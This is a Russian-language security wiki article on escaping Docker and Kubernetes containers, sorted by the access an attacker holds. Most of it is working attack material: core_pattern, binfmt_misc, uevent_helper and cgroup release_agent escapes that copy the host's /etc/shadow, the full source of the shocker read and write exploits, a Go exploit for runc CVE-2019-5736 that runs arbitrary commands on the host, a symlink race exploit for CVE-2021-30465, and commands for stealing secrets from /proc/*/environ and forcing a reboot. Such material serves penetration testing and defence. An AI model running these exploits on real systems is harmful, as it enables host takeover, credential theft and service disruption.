Docker escape

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск


Статья посвящена повышению привилегий из докер-контейнера в зависимости от предоставленного доступа.


Содержание

SSRF

Доступ, когда можно только делать запросы по различным протоколам.

Суть в том, что в случае с SSRF можно делать запросы кроме файлов еще и на сторонние сервисы. Эти сервисы как правило запущены не в том же контейнере, а на соседнем с виртуальной сетью (это быстро настраивается с docker-compose).

Это повышение привелегий горизонтальное, но позволяет перейти на другой контейнер

Local file reading

Доступ, когда можно только читать локальные файлы контейнера.

Host volumes mount

В случае, если настройками докера были примонтированы хостовые директории, то тогда можно поискать в них критичные файлы конфигов, ключей, паролей и тд.

Например, корневая директория хостовой системы может быть доступна по адресу /host_root/.


kubernetes

environ

В контейнеры часто передают ключевую информацию в переменные окружения, поэтому советую прочитать файлы /proc/*/environ для поиска секретов.

Например, файл текущего процесса /proc/self/environ

Remote code execution

Mounts

Многие директории хоста в случае доступа из контейнера, позволяют, например, получить исполнение кода на хостовой машине.

/proc/sys

Позволяет редактировать переменные ядра

/proc/sys/kernel/core_pattern

Позволяет запустить произвольный код от имени рута на хостовой системе. Требуются права записи.

Кратко: определяем программу через символ pipe которая будет запущена если программа сломается.

Уточняю, но предварительно для эксплуатации требуется:

1. Права изменения файла /proc/sys/kernel/core_pattern

2. Права создания файла где то в известном месте на хостовой машине

3. На созданный файл chmod +x


cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern
sleep 5 && ./crash

/proc/sys/kernel/modprobe

Содержить путь до kernel module loader, который используется когда вы подгружаете модуль ядра например через команду modprobe.

Поэтому вам требуется право на запись в этот файл, чтобы поменять путь до вашего исполняемого файла.

Пример содержимого файла:

$ cat /proc/sys/kernel/modprobe
/sbin/modprobe


/proc/sys/fs

Директория с файлами конфигураций файловой системы: inode, file handler, quota и тд.

Как правило, позволяет провести только атаки DoS

/proc/sys/fs/binfmt_misc

В дополнение к предыдущему пункту. Файл нужен для определения того, через какую программу будут исполняться файлы (например, DOS приложения через wine elf).


Для эксплуатации требуется возможность записать файлы.

Тестовая инфраструктура :

sudo docker run --security-opt apparmor:unconfirned --cap-add=SYS_ADMIN -it ubuntu /bin/bash
apt update
apt-get install libcap2-bin gdb
capsh --print

Пример эксплуатации (перезаписывание #!/bin/sh интерпретатора):

# Можен понадобиться перемонтирование (хотя мб не хватит прав)
mount binfmt_misc -t binfmt_misc /proc/sys/fs/binfmt_misc
mount -o rw,remount /proc/sys
# Получение пути с хостовой машины до файловой системы контейнера - мб нет прав
mount | grep upperdir

cd /tmp/
# Создаем файл который при выполнении скопирует /etc/shadow с хостовой системы в контейнер
echo 'cat /etc/shadow > /var/lib/docker/overlay2/<docker_container_id>/diff/tmp/shadow' > test.sh
chmod +x test.sh

# Добавляем новое определение #!/bin/sh:
echo ':test:M::\x23\x21\x2f\x62\x69\x6e\x2f\x73\x68::/var/lib/docker/overlay2/<docker_container_id>/diff/tmp/test.sh:' > /proc/sys/fs/binfmt_misc/register

# Ждем пока на хостовой системе запустят файл который начинается с #!/bin/sh
./test_file.sh

# читаем файл shadow скопированный в контейнер
cat /tmp/shadow


Пример эксплуатации (перезаписывание команды ls):

mount binfmt_misc -t binfmt_misc /proc/sys/fs/binfmt_misc
mount -o rw,remount /proc/sys
# Получение пути с хостовой машины до файловой системы контейнера - мб нет прав
mount | grep upperdir

cd /tmp/
# Создаем файл который при выполнении скопирует /etc/shadow с хостовой системы в контейнер
echo -e '$#/bin/bash\ncat /etc/shadow > /var/lib/docker/overlay2/<docker_container_id>/diff/tmp/shadow' > test.sh
chmod +x test.sh

# Добавляем новое определение команды ls:
echo ':test:M:208:\xd0\x35::/var/lib/docker/overlay2/<docker_container_id>/diff/tmp/test.sh:' > /proc/sys/fs/binfmt_misc/register

# Ждем пока на хостовой системе запустят команду ls
ls

# читаем файл shadow скопированный в контейнер
cat /tmp/shadow


Утилита для эксплуатации (не в докере): https://github.com/toffan/binfmt_misc

Презентация с описанием атак (в докере): https://conference.hitb.org/hitbsecconf2021sin/materials/D2T2%20-%20Ccntainer%20Escape%20in%202021%20-%20Li%20Qiang.pdf

/proc/config.gz

Информация о хостовой системе (ядре), которая может помочь при побеге из контейнера.

cd /tmp;
cp /proc/config.gz .
gzip -d config.gz
cat config

/proc/sysrq-trigger

Если мы можем записывать по адресу /proc/sysrq-trigger, то это позволяет нам (не только):

1. Перезапустить систему

2. вызвать sync(2) syscall

3. перемаунтить файловую систему как read-only

4. Вызвать отладчики ядра


Пример перезапуска системы:

echo b > /proc/sysrq-trigger

Проверка файловой системы (read-only):

echo 1 > /proc/sysrq-trigger

/proc/kmsg

Позволяет получить доступ к сообщениям kernel ring (обычно доступные через dmesg).

По большей части только раскрывает информацию о ядре, которая позже может пригодиться при побеге из контейнера.

/proc/kallsyms

Тоже информация о ядре.

/proc/*/mem

Это интерфейс к устройству ядра /dev/mem.

Есть старая CVE на повышение через это - CVE-2012-0056.

Подробнее про уязвимость: https://git.zx2c4.com/CVE-2012-0056/about/

/proc/kcore

Это представление физической системы в формате ELF. Если у вас есть возможность читать этот файл, то вы можете прочитать фрагменты памяти чем вызвать memory leak.


Инструкция как дампить память: https://schlafwandler.github.io/posts/dumping-/proc/kcore/

/proc/kmem

Представление устройства /dev/kmem, позволяет напрямую читать и редактировать оперативную память ядра.


Ищем по памяти подстроку PASS:

strings /proc/kmem -n10 | grep -i PASS


Но для этого также нужно отключить docker apparmor

/proc/mem

Представление устройства /dev/mem, позволяет напрямую читать и редактировать физическую память ядра.


Ищем по памяти подстроку PASS:

strings /proc/mem -n10 | grep -i PASS

/proc/sched_debug

Возвращает информацию о задачах по расписанию у хостовой системы.

Позволяет например обойти PID-ограничения и узнать айди процессов хоста.

/proc/*/mountinfo

Информация о Mount Points в рабочем пространстве процесса

/sys/kernel/uevent_helper

Файл отвечает за то, какие скрипты будут запущены, когда будет подключено или отключено новое устройство.

Если есть права на запись на этот файл, то можно заменить его содержимое на путь до нашего исполняемого файла.

# Создаем вредоносный файл
cat "#!/bin/sh" > /evil-helper
cat "ps > /output" >> /evil-helper
chmod +x /evil-helper

# Определяет путь с хоста до файловой системы докера
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Указываю путь до моего файла
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper

# Вызываю uevent
echo change > /sys/class/mem/null/uevent
# Второй способ
# echo /sbin/poweroff > /sys/kernel/uevent_helper

# Читаю вывод
cat /output

/sys/class/thermal

Доступ к аппаратным характеристикам, как правило привести может только к DoS

/sys/kernel/vmcoreinfo

Адреса памяти ядра, может помочь для обхода KASLR(рандомизация адресов).

/sys/kernel/security

Примонтирован securityfs интерфейс, позволяющий конфигурировать модули безопасности Linux, например, AppArmor policies.

/sys/firmware/efi/vars

Не сильно распространено, позволяет общаться с EFI-переменными в NVRAM. Как минимум, привести к DoS можно.

/sys/firmware/efi/efivars

Если есть права на запись, то можно записывать в NVRAM которая используется в качестве аргумента для UEFI-загрузки. Минимум DoS, в лучшем - компрометация сервера.

/sys/kernel/debug

Ссылка на debugfs интерфейс. Позволяет создавать интерфейсы отладки которые будут доступны в пользовательском пространстве. Есть много уязвимостей, эксплуатирующихся через данный интерфейс.

Capabilities

Получить список возможных capabilities:

capsh --print


Описание capabilities

Или сложнее:

cat /proc/self/status | grep Cap

Пример вывода:

CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Чтобы декодировать:

capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37

Тестовая инфраструктура для произвольной capability:

sudo docker run --cap-add название_capability -it ubuntu /bin/bash
apt update
apt-get install libcap2-bin gdb
capsh --print


CAP_SYS_CHROOT

Доступ к системному вызову:

chroot(2)

По идее может помочь при chroot, но реальных примеров не нашел.

Может помочь утилита https://github.com/earthquake/chw00t/


CAP_SYS_ADMIN

Эта capability позволяет получить максимальные права. В своем роде alias на другие.

Позволяет зарегистрировать usermode-приложение которое запустится в контексте ядра.

Cм. CAP_SYS_MODULE capability.


Также в случае read-only файловой системой, позволяет примонтировать файловую систему с возможностью записи командой:

mount -o rw,remount /hostlogs/

Второй вариант - использовать release_agent feature:

mkdir /tmp/cgrp 
mount -t cgroup -o rdma cgroup /tmp/cgrp
# если ошибка, то выполните эту команду
# mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo "#!/bin/sh" > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output

CAP_SYS_PTRACE + host pid

Эксплуатация возможна только, если есть параметр --pid=host при запуске контейнера (позволяет работать с хостовыми процессами).

Тестовая инфраструктура:

sudo docker run --cap-add CAP_SYS_PTRACE --pid=host -it ubuntu /bin/bash
apt update
apt-get install libcap2-bin gdb
capsh --print


Далее по инструкции тут https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc

Кратко: 1. Ищем нужный хостовой процесс (скорее всего рутовый)

2. Запускаем gdb -p PID

3. Встраиваем инструкции (шеллкод)

4. Запускаем инструкции

CAP_SYS_MODULE

Позволяет модифицировать ядро.

Тестовая инфраструктура:

sudo docker run --cap-add CAP_SYS_MODULE -it ubuntu /bin/bash
apt update
apt-get install libcap2-bin gdb
capsh --print


Доступ к системным вызовам:

init_module(2)
finit_module(2)
delete_module(2)


Инструкция по написанию модуля ядра https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd

CAP_DAC_READ_SEARCH

Позволяет прочитать содержимое файлов хостовой системы.

Тестовая инфраструктура:

sudo docker run --cap-add DAC_READ_SEARCH -it ubuntu /bin/bash
apt update
apt-get install libcap2-bin gdb
capsh --print

Инструкция по эксплуатации https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities#cap_dac_read_search


Комментарии: из интересного стоит заметить, что доступ мы получим ТОЛЬКО к диску, с которого был проброшен файл в контейнер. Например, у нас мог быть подключен файл /etc/resolv.conf с диска /dev/sda5. А диск sda5 в свою очередь на хостовой системе подключен к директории /var/. Поэтому, мы можем воспользоваться файлом /etc/resolv.conf для чтения всех дочерних файлов /var/. Причем путь до них нужно указывать относительный (./log/user.log или log/user.log например).


Чтение хостового файла

cd /tmp
apt update
apt install gcc wget nano
wget http://stealth.openwall.net/xSports/shocker.c

# Получаете список mount и ищите файлы, которы примонтированы из хостовой системы. Как правило это .dockerinit, /etc/resolv.conf, /etc/hosts, /etc/hostname .
mount 


# заменяете в файле shocker.c путь .dockerinit на найденный вами путь
# и заменяем /etc/shadow на файл который хотите прочитать
nano shocker.c

# компиляция
gcc shocker.c

# чтение файла
./a.out

Содержимое файла shocker.c:

/* shocker: docker PoC VMM-container breakout (C) 2014 Sebastian Krahmer
 *
 * Demonstrates that any given docker image someone is asking
 * you to run in your docker setup can access ANY file on your host,
 * e.g. dumping hosts /etc/shadow or other sensitive info, compromising
 * security of the host and any other docker VM's on it.
 *
 * docker using container based VMM: Sebarate pid and net namespace,
 * stripped caps and RO bind mounts into container's /. However
 * as its only a bind-mount the fs struct from the task is shared
 * with the host which allows to open files by file handles
 * (open_by_handle_at()). As we thankfully have dac_override and
 * dac_read_search we can do this. The handle is usually a 64bit
 * string with 32bit inodenumber inside (tested with ext4).
 * Inode of / is always 2, so we have a starting point to walk
 * the FS path and brute force the remaining 32bit until we find the
 * desired file (It's probably easier, depending on the fhandle export
 * function used for the FS in question: it could be a parent inode# or
 * the inode generation which can be obtained via an ioctl).
 * [In practise the remaining 32bit are all 0 :]
 *
 * tested with docker 0.11 busybox demo image on a 3.11 kernel:
 *
 * docker run -i busybox sh
 *
 * seems to run any program inside VMM with UID 0 (some caps stripped); if
 * user argument is given, the provided docker image still
 * could contain +s binaries, just as demo busybox image does.
 *
 * PS: You should also seccomp kexec() syscall :)
 * PPS: Might affect other container based compartments too
 *
 * $ cc -Wall -std=c99 -O2 shocker.c -static
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>


struct my_file_handle {
	unsigned int handle_bytes;
	int handle_type;
	unsigned char f_handle[8];
};



void die(const char *msg)
{
	perror(msg);
	exit(errno);
}


void dump_handle(const struct my_file_handle *h)
{
	fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
	        h->handle_type);
	for (int i = 0; i < h->handle_bytes; ++i) {
		fprintf(stderr,"0x%02x", h->f_handle[i]);
		if ((i + 1) % 20 == 0)
			fprintf(stderr,"\n");
		if (i < h->handle_bytes - 1)
			fprintf(stderr,", ");
	}
	fprintf(stderr,"};\n");
}


int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
	int fd;
	uint32_t ino = 0;
	struct my_file_handle outh = {
		.handle_bytes = 8,
		.handle_type = 1
	};
	DIR *dir = NULL;
	struct dirent *de = NULL;

	path = strchr(path, '/');

	// recursion stops if path has been resolved
	if (!path) {
		memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
		oh->handle_type = 1;
		oh->handle_bytes = 8;
		return 1;
	}
	++path;
	fprintf(stderr, "[*] Resolving '%s'\n", path);

	if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
		die("[-] open_by_handle_at");

	if ((dir = fdopendir(fd)) == NULL)
		die("[-] fdopendir");

	for (;;) {
		de = readdir(dir);
		if (!de)
			break;
		fprintf(stderr, "[*] Found %s\n", de->d_name);
		if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
			fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
			ino = de->d_ino;
			break;
		}
	}

	fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");


	if (de) {
		for (uint32_t i = 0; i < 0xffffffff; ++i) {
			outh.handle_bytes = 8;
			outh.handle_type = 1;
			memcpy(outh.f_handle, &ino, sizeof(ino));
			memcpy(outh.f_handle + 4, &i, sizeof(i));

			if ((i % (1<<20)) == 0)
				fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
			if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
				closedir(dir);
				close(fd);
				dump_handle(&outh);
				return find_handle(bfd, path, &outh, oh);
			}
		}
	}

	closedir(dir);
	close(fd);
	return 0;
}


int main()
{
	char buf[0x1000];
	int fd1, fd2;
	struct my_file_handle h;
	struct my_file_handle root_h = {
		.handle_bytes = 8,
		.handle_type = 1,
		.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
	};

	fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014             [***]\n"
	       "[***] The tea from the 90's kicks your sekurity again.     [***]\n"
	       "[***] If you have pending sec consulting, I'll happily     [***]\n"
	       "[***] forward to my friends who drink secury-tea too!      [***]\n\n<enter>\n");

	read(0, buf, 1);

	// get a FS reference from something mounted in from outside
	if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)
		die("[-] open");

	if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)
		die("[-] Cannot find valid handle!");

	fprintf(stderr, "[!] Got a final handle!\n");
	dump_handle(&h);

	if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
		die("[-] open_by_handle");

	memset(buf, 0, sizeof(buf));
	if (read(fd2, buf, sizeof(buf) - 1) < 0)
		die("[-] read");

	fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf);

	close(fd2); close(fd1);

	return 0;
}

CAP_DAC_OVERRIDE

Позволяет прочитать содержимое файлов хостовой системы.

Важно! Эксплуатация возможна ТОЛЬКО если есть CAP_DAC_READ_SEARCH (предыдущий пункт).


Тестовая инфраструктура:

sudo docker run --cap-add DAC_OVERRIDE --cap-add CAP_DAC_READ_SEARCH -it ubuntu /bin/bash
apt update
apt-get install libcap2-bin gdb
capsh --print

Запись хостового файла

Инструкция альтернативная DAC_READ_SEARCH, но запускать надо так ./a.out <путь_хостового_файла> <путь_докер_файла>


Аналогично DAC_READ_SEARCH - перезаписывать файлы можно только у тех дисков, файлы которых проброшены в конейнер. Причем путь при запуске должен быть относительным.


Например: файл /etc/resolv.conf примонтирован с диска sda5. sda5 примонтирован в хостовой системе как /var/. Значит мы можем перезаписать любые файлы в /var/ хоста командой, например, ./a.out /log/user.log /etc/passwd.


Хостовой файл будет перезаписан докер-файлом.

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd 

struct my_file_handle {
  unsigned int handle_bytes;
  int handle_type;
  unsigned char f_handle[8];
};
void die(const char * msg) {
  perror(msg);
  exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
  fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
    h -> handle_type);
  for (int i = 0; i < h -> handle_bytes; ++i) {
    fprintf(stderr, "0x%02x", h -> f_handle[i]);
    if ((i + 1) % 20 == 0)
      fprintf(stderr, "\n");
    if (i < h -> handle_bytes - 1)
      fprintf(stderr, ", ");
  }
  fprintf(stderr, "};\n");
} 
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
  int fd;
  uint32_t ino = 0;
  struct my_file_handle outh = {
    .handle_bytes = 8,
    .handle_type = 1
  };
  DIR * dir = NULL;
  struct dirent * de = NULL;
  path = strchr(path, '/');
  // recursion stops if path has been resolved
  if (!path) {
    memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
    oh -> handle_type = 1;
    oh -> handle_bytes = 8;
    return 1;
  }
  ++path;
  fprintf(stderr, "[*] Resolving '%s'\n", path);
  if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
    die("[-] open_by_handle_at");
  if ((dir = fdopendir(fd)) == NULL)
    die("[-] fdopendir");
  for (;;) {
    de = readdir(dir);
    if (!de)
      break;
    fprintf(stderr, "[*] Found %s\n", de -> d_name);
    if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
      fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
      ino = de -> d_ino;
      break;
    }
  }
  fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
  if (de) {
    for (uint32_t i = 0; i < 0xffffffff; ++i) {
      outh.handle_bytes = 8;
      outh.handle_type = 1;
      memcpy(outh.f_handle, & ino, sizeof(ino));
      memcpy(outh.f_handle + 4, & i, sizeof(i));
      if ((i % (1 << 20)) == 0)
        fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
      if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
        closedir(dir);
        close(fd);
        dump_handle( & outh);
        return find_handle(bfd, path, & outh, oh);
      }
    }
  }
  closedir(dir);
  close(fd);
  return 0;
}
int main(int argc, char * argv[]) {
  char buf[0x1000];
  int fd1, fd2;
  struct my_file_handle h;
  struct my_file_handle root_h = {
    .handle_bytes = 8,
    .handle_type = 1,
    .f_handle = {
      0x02,
      0,
      0,
      0,
      0,
      0,
      0,
      0
    }
  };
  fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
    "[***] The tea from the 90's kicks your sekurity again. [***]\n"
    "[***] If you have pending sec consulting, I'll happily [***]\n"
    "[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
  read(0, buf, 1);
  // get a FS reference from something mounted in from outside
  if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
    die("[-] open");
  if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
    die("[-] Cannot find valid handle!");
  fprintf(stderr, "[!] Got a final handle!\n");
  dump_handle( & h);
  if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
    die("[-] open_by_handle");
  char * line = NULL;
  size_t len = 0;
  FILE * fptr;
  ssize_t read;
  fptr = fopen(argv[2], "r");
  while ((read = getline( & line, & len, fptr)) != -1) {
    write(fd2, line, read);
  }
  printf("Success!!\n");
  close(fd2);
  close(fd1);
  return 0;
}

CAP_SYS_RAWIO

Доступ к следующим ресурсам:


/dev/mem
/dev/kmem
/proc/kcore

Редактирование параметра mmap_min_addr


А также доступ к системным вызовам:

ioperm(2)
iopl(2)
FIBMAP ioctl(2)

И также доступ к различным дисковым командам.

CAP_SYSLOG

Позволяет использовать syslog(2) syscall и просматривать адреса ядра в /proc (если включен /proc/sys/kernel/kptr_restrict)

Также возможно смотреть dmesg вывод.

CAP_NET_RAW

Возможность отправлять низкоуровневые пакеты.

Скорее всего применимо только для MITM-атак, в следствие которых возможно повышение привилегий на других серверах.

Требуется проброшенный интерфейс хостовой машины, иначе атаки придется проводить на NAT докер контейнеров.

CAP_NET_ADMIN

Аналогично CAP_NET_RAW


Дает возможность изменять следующие пункты:

- network namespaces' firewall

- routing tables

- socket permissions

- network interface configuration

- другие настройки



Есть старые CVE, позволяющие повысить привилегии. Примеры: CVE-2011-1019, CVE-2010-4655, CVE-2013-4514

CVE

Общий список CVE - https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list

Runc exploit (CVE-2019-5736)

Уязвимые версии: <=1.0-rc6

Техника перезаписывает /bin/sh хостовой системы, поэтому любой кто запустит docker exec, стриггерит нашу полезную нагрузку.

Ссылка на эксплоит https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go :

package main

// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
	"fmt"
	"io/ioutil"
	"os"
	"strconv"
	"strings"
	"flag"
)


var shellCmd string

func init() {
	flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
	flag.Parse()
}

func main() {
	// This is the line of shell commands that will execute on the host
	var payload = "#!/bin/bash \n" + shellCmd
	// First we overwrite /bin/sh with the /proc/self/exe interpreter path
	fd, err := os.Create("/bin/sh")
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Fprintln(fd, "#!/proc/self/exe")
	err = fd.Close()
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Println("[+] Overwritten /bin/sh successfully")

	// Loop through all processes to find one whose cmdline includes runcinit
	// This will be the process created by runc
	var found int
	for found == 0 {
		pids, err := ioutil.ReadDir("/proc")
		if err != nil {
			fmt.Println(err)
			return
		}
		for _, f := range pids {
			fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
			fstring := string(fbytes)
			if strings.Contains(fstring, "runc") {
				fmt.Println("[+] Found the PID:", f.Name())
				found, err = strconv.Atoi(f.Name())
				if err != nil {
					fmt.Println(err)
					return
				}
			}
		}
	}

	// We will use the pid to get a file handle for runc on the host.
	var handleFd = -1
	for handleFd == -1 {
		// Note, you do not need to use the O_PATH flag for the exploit to work.
		handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
		if int(handle.Fd()) > 0 {
			handleFd = int(handle.Fd())
		}
	}
	fmt.Println("[+] Successfully got the file handle")

	// Now that we have the file handle, lets write to the runc binary and overwrite it
	// It will maintain it's executable flag
	for {
		writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
		if int(writeHandle.Fd()) > 0 {
			fmt.Println("[+] Successfully got write handle", writeHandle)
			fmt.Println("[+] The command executed is" + payload)
			writeHandle.Write([]byte(payload))
			return
		}
	}
}

Команда для сборки:

[+] Overwritten /bin/sh successfully

После запуска эксплоита ждите надпись

go build main.go

После появления надписи нужно чтобы на хостовой системе запустили следующую команду которая стриггерит вашу полезную нагрузку:

docker exec -it <container-name> /bin/sh

Runc exploit (CVE-2021-30465)

Уязвимые версии: <=1.0.0-rc94


Уязвимость позволяет примонтировать файловую систему, которая используя симлинки примонтируется за пределы rootfs.

http://blog.champtar.fr/runc-symlink-CVE-2021-30465/

Лучше подробнее почитать по ссылке тк у контейнеров должна быть очень специфичная конфигурация.

1. Создаем симлинк

ln -s / /test2/test2

2. Собираем эксплоит ( http://blog.champtar.fr/runc-symlink-CVE-2021-30465/ )

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/syscall.h>

int main(int argc, char *argv[]) {
    if (argc != 4) {
        fprintf(stderr, "Usage: %s name1 name2 linkdest\n", argv[0]);
        exit(EXIT_FAILURE);
    }
    char *name1 = argv[1];
    char *name2 = argv[2];
    char *linkdest = argv[3];

    int dirfd = open(".", O_DIRECTORY|O_CLOEXEC);
    if (dirfd < 0) {
        perror("Error open CWD");
        exit(EXIT_FAILURE);
    }

    if (mkdir(name1, 0755) < 0) {
        perror("mkdir failed");
        //do not exit
    }
    if (symlink(linkdest, name2) < 0) {
        perror("symlink failed");
        //do not exit
    }

    while (1)
    {
        renameat2(dirfd, name1, dirfd, name2, RENAME_EXCHANGE);
    }
}

и компилируем

gcc race.c -O3 -o race

3. В цикле запускаем эксплоит

seq 1 4 | xargs -n1 -P4 -I{} ./race mnt{} mnt-tmp{} /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/

4. Во втором шелле запустите в цикле обновление контейнера

for c in {2..20}; do
  kubectl set image pod attack c$c=ubuntu:latest
done

5. Проверьте результат (в /test1/zzz будет смонтирован корень хоста)

for c in {2..20}; do
  echo ~~ Container c$c ~~
  kubectl exec -ti pod/attack -c c$c -- ls /test1/zzz
done

Runc exploit (CVE-2019-19921)

Уязвимые версии: <1.0.0-rc10

https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html


Containerd exploit (CVE-2019-41103)

Уязвимые версии: <1.4.11, < 1.5.7

Эксплоита не вижу, но описание тут https://github.com/containerd/containerd/security/advisories/GHSA-c2h3-6mxw-7mvq

Sockets

Docker Sockets

Суть в том, что при некорректной настройке docker socket может быть доступен из контейнера.

Это позволяет выполнять стандартные docker команды на хостовой системе.

find / -name docker.sock 2>/dev/null
# Как правило будет /run/docker.sock

Если docker.sock будет лежать по адресу /var/run/docker.sock то можно использовать стандартную команду docker.

Иначе потребуется использовать команду

docker -H unix:///path/to/docker.sock ...

Другой вариант - через http запросы:

curl -s --unix-socket /var/run/docker.sock http:/containers/json

или через TCP-socket

curl -s http://<host>:<port>/containers/json

Другие команды по работе с docker socket можно найти тут https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket

rktlet socket

unix:///var/run/rktlet.sock


frakti socket

unix:///var/run/frakti.sock


cri-o socket

unix:///var/run/crio/crio.sock


containerd socket

unix:///run/containerd/containerd.sock


dockershim socket

unix:///var/run/dockershim.sock


Privileged container

Примонтированные директории

В зависимости от того, какая директория примонтирована, можно работать с файловой системой хоста.

Зависит от фантазии хакера. Может быть доступ например к /etc/ или к /root/.

hostPID

Позволяет получить доступ к процессам директории /proc/

Что там может быть интересного:

0. Дает возможность просмотреть какие вообще процессы запущены на хостовой системе.

1. Файловые дескрипторы открытых файлов - чекать все /proc/*/fd файлы, можно их прочитать

2. Секреты в env - /proc/*/environ

3. Убивать процессы и вызывать DoS

4. Под вопросом - читать память процессов например sshd и сниффать пароли (например утилитой 3snake).


privileged

Частный случай, когда контейнер является привилегированным.

Тогда достаточно заюзать следующую команду и перейти в рута хоста:

nsenter --target 1 --mount --uts --ipc --net --pid -- bash

hostNetwork

Позволяет взаимодействовать с сетью хоста.

Например, прослушивать трафик или MITM-атаки проводить.

Для этого достаточно юзать например tcpdump -i eth0

Примеры атак:

- https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/

- https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/


Общие вектора:

1. Сниффать трафик

2. Доступ к сервисам на localhost

3. Обход политик network (kubernetes).

hostIPC

Inter-Process Communication Mechanisms

Позволяет работать с каналами передачи между процессами.

Примеров мало, но советуют следующее:

1. Проверить /dev/shm/ на наличие общих ресурсов памяти по которым идет общение

2. Проверить IPC-facilities используя команду "ipcs -a"

Ссылки

Лабы

badPods - лаборатория уязвимых контейнеров


Статьи

0xn3va gitbook


Выступления

Container Escape in 2021 - Li Qiang HITB 2021